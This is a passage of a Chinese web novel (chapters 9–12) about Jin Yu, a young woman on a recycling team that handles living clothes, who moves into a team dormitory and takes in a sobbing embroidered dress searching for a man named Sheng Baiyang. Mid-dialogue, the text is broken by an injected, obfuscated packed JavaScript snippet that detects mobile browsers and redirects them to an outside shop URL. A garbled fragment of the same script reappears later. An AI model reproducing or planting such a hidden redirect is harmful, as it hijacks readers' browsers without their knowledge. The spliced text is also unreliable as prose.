坐在最前面的年轻人四下望去,忍不住开口自我介绍,“你们好,我叫孟亦觉,今年二十三岁,在小队中负责被动回收、打包洗衣和收集分类。” 金隅抬起头,望向说话的人,孟亦觉侧过身,友好地对着她微笑,“我知道你,你是金隅,对吧?” 没想到被陌生人叫对姓名,金隅顿时无措,一双不解的眼睛望向孟星吾,孟星吾笑着点点头,示意她放松回答。金隅只好硬着头皮对这位素未谋面的队员打招呼,“对,我是金隅,你好。” 解之说不知道该不该和孟亦觉打招呼,好在孟亦觉谁都认识,对着他说:“解之说,我在前几天见过你。” 孟亦觉没解释是怎么见到解之说的,解之说想不到和这个人什么时候见过面,装作自己也认识对方的样子,“你好。” 解之说话一说完,原本紧张安静的氛围突然被打破了,孟亦觉拿出手机,胳膊肘抵住旁边冲动的双手,生怕被抢去机会,“我们加个好友吧!” “啊?” 金隅和解之说都愣住了,犹豫要不要拿出手机当场加个好友,手足无措间金隅目瞪口呆,眼里尽是不可思议。 “干什么呢?现在是上班时间。”孟星吾试图维持办公室的平和,怎料根本压不住两张不停说话的嘴争先恐后地往两位新人身上凑。 “你好,你好,金隅,解之说,我是柳露,在小队中负责被动回收,”扎着波浪马尾的女孩挣脱开孟亦觉有劲的一只手,站起来,“很高兴认识你们。” 柳露的视线在金隅脸上停留了好久,随后转向一旁无言的解之说。 金隅还处在面对新队员的紧张和激动当中,而原本以为会因丢了推车而被大家冷落的解之说正寻找地上哪有缝能钻进去躲躲,从别人口中听到自己的名字令他很意外。 毕竟,在公司百人大群里被同事蛐蛐丢车也是够倒霉的。 解之说礼貌地倾着身体,对着柳露扯着嘴角。柳露又惊又喜,和身边的孟亦觉打闹起来。 耳边被两人一来一往的话音堵住,金隅觉得面前有二十个人嘴巴不停地一张一合,还有二十人在看热闹。 “我们加个好友吧?”金隅不知柳露从哪儿拿出的手机,越过前面的孟亦觉,往金隅和解之说站的位置走。孟亦觉眼疾手快,拦腰截住了她,“队长都说了,现在是上班时间。” 柳露瞧了一眼孟星吾,在温柔的眼神警告中退回身体坐下来,还不忘与金隅和解之说对口型: “下班后加个好友啊!” 金隅不知道解之说是怎么想的,反正她点了点头。 倏然间,吵闹的声音转小,坐在第三个位置的男人全身僵硬地板着,对着金隅和解之说简短地说:“我是何今有。” 没来得及记住他的名字,只听周围的声音更小了,在桌下悄悄打闹的柳露和孟亦觉停下动作,像等待老板发话的小员工,一本正经地目视前方,眼睛有神。 办公室重新回归安静,孟星吾松了口气。何今有的无聊程度堪比一根木头,令人望而生退。柳露的孟亦觉都是外向的人,面对何今有也只有闭嘴的份。更别谈,最后自我介绍的是最冷漠无情,最有望成为下一任队长的人。 “陈可。” 比何今有还要简洁的自我介绍也就只有这位短发女人会说出来了,柳露吸了吸鼻子,甩开孟亦觉的手。 初涉职场的金隅和解之说两人都有些怕了,空气渐渐冷淡,憋了半天的问候全部吞回肚子里,金隅正打算说点什么,却被孟星吾打断。 “呼——”金隅轻轻舒了口气,注意力转向孟星吾,耳边传来一阵微乎其微的暖风,拂过自己的脸庞。 她下意识抬头望去,与解之说面面相觑。 “你们今天就可以搬去新宿舍了。” “太好了!” 两个人的笑声打破两人悄然的对视,看到孟星吾平易近人的一张脸,金隅从刚刚的沉默中回过神,对着他傻傻一笑。 “新宿舍?” 迟来的疑惑塞进脑中挥之不去,金隅不敢相信,“新宿舍?” “对啊,我们要搬去新宿舍了,”柳露从前面冒出来,自然地牵起金隅的双手,“好漂亮的小妹妹,你今年多大了?” 金隅还没从这一突如其来的消息中转过弯,又经不住柳露的热情,“我……我十九了。” “呀,还是大学生呢!” 金隅无措地点点头,柳露的身后不知何时空无一人,只有角落里的解之说和孟亦觉在讨论什么。 不见队长和其他两位队员,金隅有些疑惑,“他们去哪了?” “哦,他们啊,”柳露捏捏金隅的手,“他们离家有些远,就先回去收拾东西,下午我们一起去宿舍。” “我也要去吗?”金隅在柳露的簇拥下坐到椅子上。 “难道你不想和我们住在一起吗?” 柳露的语气明显可怜起来,金隅摸不透她的想法,支支吾吾道:“没有不想,只是我有房子住……我……” 柳露从她模糊的话中试图听出有用的信息,下一秒,金隅的口袋震动起来。 “啊,抱歉,我接个电话。” 金隅拿出“嘟嘟”个不停的手机,充满歉意地看向柳露,柳露拍拍她的肩膀,“没事的,你接吧。” 金隅走到窗前按下接听按钮,解之说和孟亦觉的讨论声小到几乎听不见,她没看清打电话的人是谁,还没做好准备就被电话那头的声音吵到。 “呦,妹妹,你找到工作了?” 欠欠的嬉笑声传进耳朵,金隅不可置信地看了一眼手机上的来电人。 “哥哥,金岸。” 这家伙怎么这时候打电话过来? 金隅又看了一眼上面的名字,确认没看错后没好气地问:“干嘛?” “呦呦呦,好不容易打一次电话你就这态度对我?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335099|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>金隅翻了个白眼,要不是金岸,自己也不会被黑心中介骗钱,也不用每天纠结吃什么最省钱也最能饱腹。 “我来宁泰市出差几天。” 金岸言简意赅,告诉金隅的此次打电话的目的。 “然后呢?” “你家借我住几天。” “什么!” 金隅瞪圆了双眼,“你在讲什么?” “你,家,借,我,住几天——”手机那头的金岸正扶着个小行李箱,站在金隅租的房子门前。 “不行。” 金隅立即拒绝。解之说和孟亦觉听到她的动静,和不知发生了什么的柳露站在一起,满脸疑惑。 “我已经到你家了,你不会还没有找到工作吧?” 金隅盘算着正好大家要搬去新宿舍,该和哥哥要多少租金合适,“我找到工作了。” 金岸:“真的假的?” 金隅:“真的。” 金隅:“你要住多长时间?” 金岸算了一下,“差不多两个月吧。” 一个月后就要上学了,金隅向房东租了三个月的房子,这房子可不能让金岸白住。 “一天一千。” “什么?”金岸没反应过来,“什么一天一千?” “住一天,一千块钱。”金隅给他解释。 “你不和我一起住?”金岸气得敲了敲门,金隅听着心烦,“我现在不在家。” 她继续道:“还有,我要住公司宿舍,怎么可能和你住一起,想得美。” 一旁的柳露捕捉到有用的信息,对着解之说和孟亦觉小声道:“她要住公司宿舍。” 解之说和孟亦觉齐齐点头。 金岸:“八百。” 金隅哼了一声,“一千。” “八百五。” 金岸不甘心,只好讨价还价。 “你个公司老总,连个一千块钱都拿不出来?”金隅扣扣窗边的墙,手指染上白色的粉末。 “首先,不要叫我老总,我才三十岁,”金岸咬牙切齿,“其次,虽然我的公司刚成立,请不要质疑我的财力……” “那就一千二。” “你的房子是我帮你找的。”金岸试图用自己辛勤的付出唤醒妹妹的良心。 “房租水电费什么的都是我交的。”金隅不屑一顾。 “那我不是给你三个月的房租钱了吗?” 金岸感到一阵心酸,几乎是带着些哭腔,“哥哥就暂住一下你的房子能怎么样啊妹妹。” 被骗子骗走钱的场景依旧历历在目,小手轻轻点一下全部身家就都送出去了,最后连房租钱都是房东看自己可怜才同意迟些日子交,金隅十分后悔当初与哥哥打赌在暑假期间自力更生好好工作,“我的钱都被骗子骗走了……” 金隅也要哭了,金岸一听,服了软,“一天一千,可以。” 他接着说:“有空把骗子信息给我,哥帮你要回来。” 金隅喜出望外,“谢谢哥。” 金岸又问:“你确定要住公司宿舍?” 金隅:“确定。” 金岸吐槽:“真搞不懂这世界上为什么会存在你这个喜欢工作的人。” 金隅:“嘿嘿。” 金岸问她:“房子密码多少,我累了。” 金隅想了想,说了一大串数字,随着手机那头响起“叮咚”一声,金岸毫不留情地挂断了电话,只留下来不及反应的金隅。 金隅:? 9. “三高”工作 放下手机,空闲的五根手指都沾上了从墙上掉下来的白色粉末,金隅随意地擦擦手,转身只见柳露和孟亦觉直直看着自己,解之说站在两人的身后,一言不发。 “你要和我们一起住宿舍?” 金隅点点头,“嗯。” 一天一千,两个月就能拿到将近六万。 金隅想着拿到这六万之后要做什么,想来想去她说出了最疑惑的问题。 “怎么突然要住宿舍了?” 柳露停下翻手机的手,解之说也很不解,明明一开始并没有集体生活的计划。 孟亦觉对她解释道:“听队长说,徐无醒自从回国后一直在宁泰市市区活动,他想找到镜心仪。” “镜心仪是什么?” “到新宿舍后再让他给你解释吧。” 孟星吾突然出现在三人面前,手里拿着文件。 压下所有的疑问,金隅和解之说在公司吃完午饭后回到公寓,一打开门就和刚睡醒的金岸打了个照面。 “你可终于回来了,”金岸忍不住打了个哈欠,“什么时候走?要不要我送你?” 金隅摇摇头,“我收拾好东西就走,不用你送我,公司安排车。” “行,”金岸一只胳膊撑在门框边,堵住了金隅的去路。 金隅:“你能不能让让?” 金岸没睡好,迷迷糊糊地让路,却一个重心不稳,摔倒在地。 “诶呦,好痛。” 金隅差点笑出声,伸出手去扶他。 金岸摸摸自己的身体,摸哪哪都不痛,只好咽下碰瓷妹妹的打算,在金隅的搀扶下坐到软沙发上。 “你做的什么工作?” 金岸知道自己好长时间没关心过自己的妹妹,一开口都有些不自在。 “回收旧衣服的。”金隅从储物室搬出一个箱子,先从客厅翻箱倒柜找需要带的东西。 金岸听到回答先是一愣,然后“噗嗤”笑出声来。 “哈哈哈……你说什么?回收旧衣服?哈哈哈哈……” “闭嘴吧你。”金隅从卧室挑出几件衣服,全部塞进行李箱。 “你这工作正经吗?” 金岸翘起个二郎腿,顺手拿起旁边书架上一本杂志。 金隅没理他,十分钟后收拾好了行李。 “我会和房东说你这两个月住在这里,我走了,再见。” “哎哎哎,”金岸没料到金隅走得如此决绝,赶紧叫住了她,“你就这么走了?” 金隅上下打量他,问:“不然呢?” 金岸无话可说,许久只憋出个“行”字,金隅利索打开门,“真搞不懂酒店你不住跑来住我的房子,什么毛病。” 金岸跟在她后面“哼哼”一笑,然后就一直跟到了楼下。 金隅满脸黑线,她实在是搞不清亲哥哥的脑回路。 “你打车去?” “同事来接。” “哪个同事?” 金岸一问出口,一辆黑色汽车从视线之外出现在两人面前,随后下来个人。 “解之说?” 金隅没想到解之说会来接她,不禁出了声。 解之说依旧是礼貌温和的样子,看到金隅身后站着个男人后,放缓了脚步。 “他是我哥,”金隅垂下头整理自己的衣服,眼睛都没抬一下。 “你好,我是金隅的同事,我来接她。” 解之说向金岸打招呼,金岸点点头,站在金隅身后嘟囔着为她整理好衣服和背包,随后车窗被打开,柳露从车里冒出了头。 “金隅~” 柳露对着金隅招手,不小心看到金岸又赶忙缩回身子,关上了车窗。 金岸一直没说话,直到金隅的行李箱被搬上车,他才拉住金隅的肩膀。 金隅不解,问:“你干什么?” 金岸故作轻松地为她掸去肩上不存在的灰尘,“注意安全。” “我知道的。” 金隅在解之说启动汽车后转身上车,在开车门前才想起来和金岸告别,“你赶紧回去吧。” 金岸点点头,看着黑车消失在眼前。 柳露犹豫了好久,问正在看手机的金隅,“那人是谁啊?” 金隅抬头,看到柳露认真的眼睛,又将视线转向副驾驶的孟亦觉。 “我哥。” “哦哦。”柳露转过身,靠在车窗上发呆。 不一会哀叹声在车内流转,柳露和孟亦觉你一句我一句,都是关于工作上的事情。 金隅不忍听下去,问:“这工作有那么累吗?” 柳露不可置信地看着她,“难道不该那么累吗?” 前面的孟亦觉开口道:“这份工作不是一般人能做的,别看就是回收些衣服,何今有和陈可两位老员工都称它是三高工作。” 金隅问:“哪三高?” 柳露抢险孟亦觉一步回答:“高风险,高薪资,高强度。” “我上个月被一件衣服打得头昏脑涨,一睡觉脑子就痛,气死我了。” “还有,薪资虽然还不错,不过我们每天能接手上百件旧衣服,有时候还会加班。” 听着孟亦觉吐黑水,金隅不知不觉间将注意力转移到开车的解之说身上。 过了两个红绿灯之后便是不停地左转右转,车窗外的楼越来越高,昏昏欲睡的金隅在突然的刹车后摆正倾斜的身体,看向车外。 小小的车被四周的高楼包围,冷色调占据两只眼睛,压抑着内心的冲动。 车子重新启动后便开得很快,金隅满脑子都是银黑色的大楼,睡意却渐渐消失。 “到了。” 约摸过了十分钟,金隅重新见到天空的蓝色,解之说停下车,孟亦觉叫醒睡着的柳露。 “到了?” 柳露艰难地睁开眼摇下车窗,随后惊叹一声,“好舒服的环境!” 正在收拾背包的金隅听到她的声音,不觉往车外看去,狭小的可见空间里,是满眼的亮色。 几人下了车,金隅这才有机会好好打量周围。 宿舍建在高地,一条水泥路从平地一直延伸上来,又到远处去。路边的花花草草靠着一面矮墙争先恐后地生长,尽情汲取热烈的阳光。 解之说帮金隅拿下行李箱,金隅不太好意思,只好询问他的伤势。 “我还好,没什么大碍。” 解之说在扑面而来的阳光的照射下对着金隅,与她无声对视。 夏日浓烈,连风都是滚烫飘过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“叫陈可和何今有下来。”孟星吾拉住孟亦觉,给他派任务。孟亦觉半张着嘴,说不出推辞的理由来,他往楼梯看了一眼,算是认命了,不情不愿地挪着小小的步子往二楼走。 一楼的几人也没闲着,被孟星吾塞满两只手的笔和纸,金隅左顾右盼也不知道做什么,只好站在墙边看孟星吾和解之说合力从暗处搬出一张大大的圆桌,柳露负责搬椅子。 准备完毕后孟亦觉跟在陈可和何今有身后,看他们坐下来,他也跟着拉开椅子坐下。金隅在每个人的桌前放好笔和纸,随后和解之说坐在一起。 “我们以后就在宁泰区的市区范围内活动,宁泰市其他区域将由公司的剩余人手接手。” 金隅歪头,问停下的孟星吾,“队长,我们公司还有别的小队?” 孟星吾点头,“当然,目前公司共成立了十一组队伍,每组平均六人,加上后勤、处理其他事务的相关人员,爱衣回收只有约一百人的员工。” 人好少啊。 金隅在纸上写下大大的“100”,孟星吾继续往下说,“徐无醒回到宁泰市已经一个多月了,我们第十一组小队作为公司精锐,将重点关注徐无醒的动向。” “陈可,将你的调查结果分享给大家,你们注意一下。” 陈可推了推眼镜,目光如炬,“根据七月二十一号到八月三号的秘密调查,徐无醒在宁泰市区建立了‘春雁’酒吧,工作人员未知,人数未知,他本人目前仍在市区活动。” “镜心仪已被研究院收集在案,”陈可打开手机备忘录,就在停顿的间隙,金隅问出声: “这个……镜心仪是什么?” 10. 失恋连衣裙1 此话一出,所有人的目光都投向金隅。金隅被看得有些不好意思,只好低下头去玩手里的黑笔,如芒刺背般浑身不自在。 陈可在无人注意时轻笑了一声,对金隅解释道:“镜心仪就是那颗陨石,因为一些原因,它目前暂放在清海公园内,研究人员正在进一步调查研究,或许它的存在与异能有关。徐无醒在市区活动的原因之一也是它。” “原来是这样。” 金隅得到回答,放松了几分,抬头对陈可报以一笑,陈可没有做出任何回应,继续其他的调查报告。 临近傍晚,最后变成破冰活动的会议终于结束,孟亦觉提出去火锅店团建,孟星吾要去医院看望唐泉,于是剩下几人浩浩荡荡往离宿舍最近的火锅店进发。 吃完饭后,他们又在游戏城玩了一个多小时,金隅见孟亦觉和柳露没有回去的打算,便先告了别好回去休息。 出门时,解之说跟在她后面,问:“要打车吗?” 金隅摇头,今晚吃的太多了,刚好走走熟悉一下周围的环境,“不用,我走回去就行。” “那我和你一起。” 解之说走到金隅的身边,目光在前方。 看前面也没什么好看的,金隅略过一切灯红酒绿,慢慢走着。 走到一处十字路口,她抬起头,路边是比白天更幽暗的写字楼,几处透过玻璃的亮光在路灯的映衬下熠熠生辉,从远处看都快要分不清是星星还是灯光。 前面有个大型商场,金隅上学时很忙,日子都在学校里度过,她没怎么逛过街,也不常来市区玩,对眼前的一切还算惊奇。 “我想去那个商场看看,”金隅转过头,亮晶晶的一双眼直直看着解之说,“可以吗?” 解之说来不及做出反应,几乎在她问出声后就下意识点了点头,半响回过神来,金隅已经蹦蹦跳跳走远了,他一看,连忙追上去。 商场门口的停车位全满,一条只够一个人通过的小道笔直延伸到不远处,金隅走在前面,解之说乖乖跟在她后面。 越走人便越多,不少人拎着大大小小的包开车离去,人头攒动。半路意识到自己可能走错路的金隅猛然停下脚步,在她后头的解之说注意力全在别处,冷不丁地撞向前面的金隅。 “啊!好痛……” 身体突然的接触后,是两人的手忙脚乱,一个想快速远离,一个却被迫打乱节奏。 “解之说,我的头发!” 吃痛的金隅忍不住头皮紧绷,连忙喊出来,四周的人群循着声音的来源到处张望,可惜偏偏今天地上停车场的灯坏了,人人相互对望后只能把视线放回车上。 慌乱后退的白色鞋跟抵上解之说不动的运动鞋,自知不能再动一步的金隅缓解了一点足够灵魂出窍的痛楚,声音却变小了,“解之说,我的头发被缠住了。” 金隅的身体以一定的角度倾斜着,腰部力量薄弱的她只能暗暗叫苦,面色难看。 解之说还不知道是什么缠住了金隅的头发,一下都不敢动,一只手扶着她的臂膀,一只手在自己身上慢慢摸索着。 又是一声痛苦的惊呼,金隅抱着自己的头,解之说右脚穿过她两条腿,尽量让她站直,自己也凑近了几分。 “别动,我帮你。” 清冽的轻声跳下头顶,徜徉着欢愉一路飞到耳边,调皮地钻进心脏,惹人心痒。随着话音落下,金隅的身体不自觉绷紧,脑子一片空白。 仔细地从项链的细孔中挑出乌黑的细发,一小撮坚强的发梢缠绕住银边,解之说废了好长时间才将这撮头发完美无缺地取下来。 头皮得到放松的金隅知道自由已经向自己招手,不愿留在原地的她心情大好,欢快地往前方撒开退。谁知下一秒…… 被木桩般的鞋子绊倒的金隅反手抓住解之说的手臂,维持短暂的平衡。 湿热的抓力死死扣在这一方小小皮肤上,脉搏的跳动宣告接触的出其不意。解之说愣了好久,金隅实在撑不住了,叫了他的名字,他才反抓起金隅,将她拽了回来。 站稳脚跟后,金隅觉得这地方实在不适合继续走下去,抬眼望到金光闪闪的商场,又不甘心,便同解之说商量着走条“正道”。 解之说自然是答应的,还一声不吭地帮她找路,三分钟后两人终于如愿以偿,坐在商场一楼的长椅上吃冰淇淋。 源源不断的冷风袭过头顶,金隅被吹得有些瑟瑟发抖,就和解之说边走边逛,又下到负一楼买了一些小吃,十分钟过后心满意足地离开。 金隅本来想好好逛逛,奈何囊中羞涩,带回些吃的便也算是一回事。出了大门,她一手一袋热食,一手举着新买的冰淇淋。 出门后一言不发的解之说站在路灯下,依靠耀眼的光源注意到了那撮最后解救出来的头发,几近棕色的发丝倔强地摆直,毛毛躁躁,四下挣脱。 “怎么了?” 一转身便看到灯光下的解之说一动不动站在原地,这令没等他的金隅摸不着头脑。 难道这里有会攻击人的衣服? 解之说摇摇头,大跨步跟上去,金隅得到回应,放缓了步伐,两人的影子在照明下亦步亦趋。 商场很大,两人无言走了好久才摸到尽头,一条乌漆嘛黑的水泥路横摆在他们的面前,不认识路的金隅先是打开地图软件,又打开手电筒。 暗处一角轻缓的声音不绝于耳,如同被风吹起的树叶扑朔摇曳。 可是这里没有风。 金隅拉过解之说与之靠近,近在咫尺的两双眼在轻微的躁动中相对。 透过对方的脸发现更多从未注意到的细节,两人心照不宣地打量着彼此,突然一声哀叫传进金隅的耳朵。 “啊!” 金隅吓得一哆嗦,四处寻找声音的来源。 窸窸窣窣声越来越清晰,金隅没有前进一步,却感觉有东西往这里靠。 “不会是衣服吧?” “有可能。” 解之说伸出一只手挡住金隅,金隅一看,向前的心思更猛了。 她想看看是什么样的衣服。 不过解之说似乎不太想让她靠近,金隅趁着一起屏气凝神之时,悄悄绕到解之说的另一边。 连未知生物的动静都能听个一清二楚,更别谈谁围着自己走来走去了,衣服摩擦的柔软声音朝着解之说的耳朵宣告:我动了。 他不动声色地放 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裙子很大,一只手拿不住,金隅废了老大劲,在解之说的帮助下拿起裙子,可裙摆仍旧拖在地上。 好漂亮的裙子。 尽管手机被收进了口袋,眼前一点光都没有,金隅睁着眼摸了摸裙子上的图案,得出结论: “裙子很漂亮。” 一旁的解之说赞同点头。 “谢谢……你……” 裙子说话了。 有了与衣服打交道的经验,金隅一点也不紧张,反而语气温柔了些:“不用谢~” 解之说抽出一只手,打上光。 这件连衣裙不算脏,只有点点泥斑,与垃圾桶接触过的缘故,背面粘上了些污垢。 “带我回家,可以吗?” 同刚才不在一个调的询问声响起,这件带着蓝、金色刺绣的连衣裙动了动身体。金隅听到它的声音,肯定地点点头:“当然可以啦?你……” 连衣裙以迅雷不及掩耳之势劈头盖脸而来,金隅来不及把话说完,就被厚重的布料遮挡了所有视线,连解之说焦急的呼喊声都快要听不见。 空荡荡的垃圾回收处,连衣裙呜咽着:“带……我……回……家……” “我知道了!” 金隅好不容易从窒息中挣脱出来,与解之说齐心协力安抚好连衣裙。 连衣裙的发音器官似乎在中间那只刺绣蓝蝴蝶上,金隅双手抱起软噗噗的裙子,向哄小孩一样,“乖裙子,你听话点儿。” 裙子动了动,似乎很享受被人拥在怀里。 解之说坚持不懈地举着手机,从上方打下一处足够照到金隅的光。 “你认识我?” 金隅以为自己回收衣服的名声在外极大,不然这条裙子怎么就找她呢? 连衣裙不做声。 两人一裙子终于走出水泥路,金隅一路上不知道被裙摆绊住多少次,不过她也没有多少怨言。 回收旧衣服,可是自己的工作。 11. 失恋连衣裙2 月光皎洁,天空墨色无云,点点星光挂在天边,高耸的大厦隐没于无际,灯火通明。 从商场到宿舍的路程复杂,等金隅和解之说抬着连衣裙回来的时候,已经快到凌晨两点。孟星吾发过消息后一直在门口等他们,在明亮的路灯下看到了这件绣花裙。 “它没有攻击你们吧?”孟星吾在他们走近时问。 解之说踏进小院,“没有,我只能感应到一点点的情感波动。” “到家啦。”金隅利索地收起快要拖地的裙摆,对裙子说。 孟星吾转身站在她身后,目视被送进客厅的裙子,“业务熟练了啊,还能从街上捡衣服回来。” 金隅傻傻笑了一声,与解之说合力将连衣裙平摊在地上。 孟星吾关上大门,客厅通达明亮,簌簌冷气慢慢侵占燥热的身体,金隅抖了抖衣领,坐在离她很近的沙发上。 孟星吾蹲下仔细观察连衣裙,想到了什么。 “它有什么心愿?” 通过金隅之前回收裤衩的经验,这次肯定要帮助连衣裙完成什么愿望才算真正完成回收工作。 金隅停下手中扇风的动作,微仰着头回想在商场垃圾桶边时连衣裙说了什么。 “它好像只要我们带它回家?” “带它回家?” 孟星吾疑惑。 “嗯,”金隅点点头,“带它回家。” 不过不知道是谁的家。 好在回来的路上连衣裙没有发出任何动静,金隅也放下心就这么带它回到宿舍了。解之说相信她的选择,很听话地与孟星吾一起蹲在地上,查看这件衣服的细节。 天色不早了,是个人都该上床休息。金隅有些困了,连打了几个哈欠,可她一时又不想离开这件裙子,犹豫要不要带它一起睡觉。 孟星吾也累了,对金隅说:“宿舍暂时还没有存放它的收纳盒,我们先……” 他的话还没说完,就被金隅打断了,“不如放我房间吧。” 解之说不动声色地皱了皱眉。 金隅一说完,顿时觉得孟星吾不会同意,又补充道:“放在别的地方也行。” 解之说眉头舒展,向孟星吾自荐,“放我房间。” “就放杂物室吧,刚好有位置。” 孟星吾没有采取两人的意见,而是选择将连衣裙放在杂物室。毕竟具有情感波动的衣服隐患未知,得保证大家的安全。 金隅想着也是,便走到连衣裙跟前,打算叠好他,没想到连衣裙如同绸缎一般,丝滑地缠上她的腿。 “哇,这是怎么回事?” 她伸手,怎么也拨不开纠缠的连衣裙。 “带我……走……” 连衣裙发出凄惨的嘶叫,金隅没听过这中令人不适的声音,连忙捂住它的发音处。 孟星吾以防万一,自己扯过裙子,没想到根本扯不动。解之说上去帮忙,两人都使出牛劲,可是连衣裙仍然挂在金隅的腿上,无动于衷。 “要不还是放我房间吧?” 金隅努力睁开快要合上的双眼。 她累了,特别想睡觉。 解之说看到连衣裙的周围并不像第一次遇到裤衩那般散发着黑气,便告诉孟星吾,“队长,我看裙子没有恶意,可能只想和金隅待在一起。” 结合回来路上连衣裙对自己爱答不理,甚至两个人合力抱着它都能感觉到自己的手上没有多大重力。 虽说这连衣裙算不上太重,不过也能看出来,它是向着金隅的。 孟星吾思考良久,金隅差点站在原地就睡着了,他最后终于妥协,“行吧。” 得到同意,金隅十分顺手,将连衣裙提上肩,一摇一摆地上楼回卧室了。解之说与她在房间门口告别,打开隔壁的房门。 金隅简单洗漱过后倒头就睡,大开的窗帘在空调冷风下微微晃动,从窗外透进来自然光铺在金隅的床上,照着按照一定节奏“摇头晃脑”的连衣裙。 虽然看不见,但连衣裙就是觉得那个发出男人声音的人没有金隅好,没有金隅善良,想起回来路上自己在金隅的怀中不敢说话,金隅还会细着声儿喊自己。 要不是衣服这种东西没脸,它恐怕早就变成了红彤彤的大苹果儿。 第二天一早,解之说站在自己卧室的门口,柳露和孟亦觉刚慢跑回来,一抬头就能看到二楼走廊上,他抬着胳膊靠在围栏处。 “起这么早?” 孟亦觉上了楼,和解之说打了个照面,“你也跑步去?” 解之说摇摇头,“站着去水肿。” 孟亦觉不知道要不要相信他的话,转身进了卧室。 片刻后,顶着潦草的头发,金隅一手搀着悬空的衣服,打开房门。 “早上好。” 金隅扯着低闷的声带,解之说先是被她的声音吓了一跳,看到她身边站得十分优雅的连衣裙,又是一惊。 “它怎么站起来了?” 解之说上前摸了摸衣料,这才觉着是一件高级货。 “不知道啊,”金隅抬起另一只手,挠了挠头发,“我起来的时候它就这样了。” 此时孟亦觉洗完澡换完衣服打开门,便看见门口的金隅和解之说,还有…… 一件能够站起来且挽着同事手腕的诡异连衣裙。 “吓我一跳啊你们,”他上下打量着,在光线下熠熠发光的连衣裙,“搞什么,魔术吗?” 孟亦觉没有凑近,在距离两三米远的地方眯起了眼。 连衣裙动了动裙摆,十分不明显,就像在微风的吹拂下轻轻晃动了一根发丝。 不过金隅能够从这细微的动静中感受到身边的连衣裙似乎在生气。 或许把人家的本领说成是超自然的现象在它看来是不礼貌的吧…… 不过,衣服能站起来本来就挺邪门的,金隅摇摇糊涂的脑袋,将昨晚发生的事告诉了孟亦觉。 孟亦觉在今早出门前已经从孟星吾那里听说了事情大概,所以几人围在餐桌边吃饭聊天时,少了份惊奇,多了份期待。 “那它的愿望是什么啊?” 柳露从碗里冒出头来,不敢看一眼独立站在金隅后面的连衣裙。 “它就说带它走,带它回家,至于它该去哪里、它的家在哪里,我不知道。” 金隅挖了一勺鸡蛋肉丝炒饭塞进嘴里。 柳露若有所思,点点头,“好吧。” 四人吃完早饭,柳露和孟亦觉收拾好背包出门,一旁和连衣裙试图友好对话的金隅问:“你们是要去哪儿?” 柳露代替嚼着口香糖的孟亦觉回答:“去我们负责的巡查点巡查,晚上见。” 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“帮它找个人。”金隅凑近连衣裙,向他解释。 解之说也走近连衣裙,试图从平静的表面看出点东西来,不料一声突如其来的尖叫声冲到两人的耳膜。 “啊——!” 金隅和解之说纷纷堵上耳朵,远离了几步。 “盛白阳!” “渣男!” 清晰没有停顿的几个字从蝴蝶里飞出,金隅和解之说默契地对视一眼。 懂了,是要找个叫盛白阳的渣男。 金隅打开手机备忘录,写下了拼音“shengbaiyang”,然后思考,去哪儿找这个人。 解之说站在在她的身边沉默不语,看到手机上的拼音后,想到了什么。 “我们上高中的时候是不是有个人叫这个?” 金隅没反应过来,“什么?” 解之说重复了一遍,金隅才把话听进心里,问他:“你和我是一个高中的?” 解之说在金隅惊诧的眼神下点了点头。 缘分如此妙不可言,金隅绞尽脑汁却想不到宁泰高中有盛白阳这个人,就在她快要怀疑自己和解之说是不是一届时,解之说帮她回忆起了一段往事。 “去年冬天下雪,在操场喝酒撒酒疯的那个人就是他。” 一说到下雪、喝酒,金隅就想起了一个人。去年的冬天特别冷,她现在还记得那天是星期一,早读课快要下课时天空飘起了绒雪,不到二十分钟,学校的路全被雪花覆盖,升旗仪式也取消了。 第一节课是数学课,当走廊传来狂欢声时金隅正在打瞌睡,听班级里到处窃窃私语她一下没了睡意,下课后便戴上手套和围巾,和同桌跑到操场去玩,顺便围观了一位男同学“听雪饮酒”。 原来那个人叫盛白阳啊。 不过世界那么大,怎么能找到一个只见过一面还记不得样貌的校友? 金隅没把握像找照片那样误打误撞,要是真一下找到了,她得怀疑这个世界肯定出了什么毛病,不然自己的运气怎会如此之好。 解之说安静地看着金隅微皱着眉头发呆,以为她没把握找到盛白阳。 “暑假同学聚会,我见到他了。” 12. 失恋连衣裙3 暂且放下接连而来的凑巧,金隅认真听着解之说接下来的话。 “他变化挺大的,毕业后没有出国,说要一直待在宁泰市,”解之说其实对找人不抱什么希望,不过刚好有个人符合连衣裙说的名字,说不定就瞎猫碰上死耗子完成了它的心愿,“我有他的联系方式,或许可以试着联系一下。” “好。”金隅的眼中闪着期待的亮光,解之说勾起一抹笑,心里暖洋洋的。 解之说的联系好友不算多,手一滑就找到了盛白阳的名字。 “找到了。” 解之说邀功似的,和金隅说话时语调上扬。 金隅心里害怕极了,万一这个盛白阳不是他们要找的人怎么办?重名的人太多了,只能寄希望于运气。 解之说敲了“在吗”两个字,犹豫要不要加个友好的表情包,没想到手比脑子先动,按下了发送键。 完了。 金隅震惊地瘪了瘪嘴,没敢看手机。解之说同样手足无措,抿着唇不去看手上的手机。 不过该来的总是要来,不过一分钟,那头发来了消息。 盛白阳:【什么事?】 解之说补了个鲜花的表情包。 【你在宁泰吗?】 盛白阳:【在啊,有什么事?】 解之说停下打字的手,金隅不解,“怎么了?” 他不知道该说什么,总不能直接问他是不是渣男吧? 盛白阳发来一条信息。 盛白阳:【找我喝酒?】 解之说刚打了个“不”字,手机就被金隅夺过去。 【没错。你定个地方?】 盛白阳回了“OK”的手势,解之说抢回手机,看不出情绪。 “你生气了?” 金隅凑到他的眼前,歪着脸看他。 解之说被盯得有些害羞,转过身去煞有其事地摸了摸脖子。 “没有。” “真的?” “真的。” 解之说的声音小到差点听不清,金隅知道自己有些冒犯了,便和他商量,“那我去赴约,你在宿舍看着裙子,怎么样?毕竟是我答应人家了。” 